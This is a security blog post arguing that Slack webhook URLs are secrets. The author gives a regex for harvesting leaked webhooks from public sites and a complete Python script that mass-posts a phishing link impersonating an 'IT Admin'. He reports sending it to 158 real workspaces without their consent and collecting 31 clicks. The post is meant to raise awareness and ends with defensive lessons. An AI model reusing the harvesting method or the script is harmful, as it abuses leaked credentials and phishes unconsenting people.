Propagating phishing via Slack webhooks

Amir Shaked
PerimeterX
Published in
3 min readJan 13, 2022

“Are slack webhooks a secret or not?”

I had this debate with a colleague the other day, and while slack has something official to say about it, I thought the best way to settle the debate would be with a real live example.

Since we also do customer support over slack, the security of this medium has always troubled me. This is especially troubling considering everyone in my workspace (employee or not) can send me private messages if we are on the same channel. I assume phishing will not skip over this communication medium.

My idea to settle the debate was simple — find a webhook, use it to send a “phishing” message, and see if it’s being opened.

Slack allows you to define a webhook without a channel or a team associated with it — leaving it for you to define… never trust a stranger.

In 30 minutes of searches in some search engines, github, pastebin (etc) I collected over 600 unique slack webhooks
https://hooks.slack.com/services/T\d+/B\d+/[a-f0-9]+

I wrote a simple script to send my bait:

import json
import requests
import logging

FORMAT = '%(asctime)s %(message)s'
logging.basicConfig(filename='test.log', level=logging.INFO, format=FORMAT)

db = "sites.txt"
lines = open(db).readlines()

# Other ideas: general, announcements, random
channel_name = "random"

id = 1
for url in lines:
id = id + 1
url = url.strip()
payload = {
"channel": "#" + channel_name,
"username": "IT Admin",
"icon_url": "https://[some random pic].png",
"blocks": [{
"type": "section",
"text": {
"type": "mrkdwn",
"text": "Please follow <[My test server]?id="+str(id)+"|this link> to complete the test. Thanks!"
}}]
}
r = requests.post(url, data=json.dumps(payload))
logging.info('%s, %s, %d, %s, %s, %s', db, url, id, channel_name, r.status_code, r.text)

On the other side, this is what the users will see

Sampling 158 (~quarter) of those webhooks I found, I tried sending the above obvious bait message to a channel I guessed would exist — “random”:

+-------------------+-------------------------+--------+
| Response code | Message | # |
+-------------------+-------------------------+--------+
| 200 | ok | 94 |
| 404 | no_team | 17 |
| 404 | channel_not_found | 15 |
| 404 | no_active_hooks | 12 |
| 410 | channel_is_archived | 10 |
| 403 | invalid_token | 6 |
+-------------------+-------------------------+--------+

Ok, so 61% success rate at step1 - sending the message, not bad.

Now I sat and waited, and no less than 10 minutes - I started getting hits - mostly from the User-Agent “Slack-ImgProxy (+ https://api.slack.com/robots)" which seems to trigger every time the message is opened by the user’s slack app.

6 hours in (not much) I had over 200 hits from the above UA - meaning many saw my awkward message which was sent to a non-critical channel - “random”.

And … 31 users clicked the link in less than 24 hours! Jackpot (and debate settled)

Now, there are several lessons from this little experiment:

  1. Slack webhooks ARE A SECRET — treat them as one!
  2. Slack doesn’t have a built-in anti-phishing solution, so be wary if your workspace has external users or open webhooks.
  3. Using this method, one can achieve over 100% phishing success per message, since every single message could be read by dozens (or thousands) of slack users on the other side.
  4. Slack webhooks ARE A SECRET — treat them as one!

I can make the test much better by sending it to broader channels (like general), crafting the message better, etc, but this was just a simple test to prove a point, not a bug bounty hunt.

I’d love to hear your thoughts on this matter :)

Originally published at https://www.perimeterx.com on January 13, 2022.

--

--

Amir Shaked
PerimeterX

Stories on security, leadership and software engineering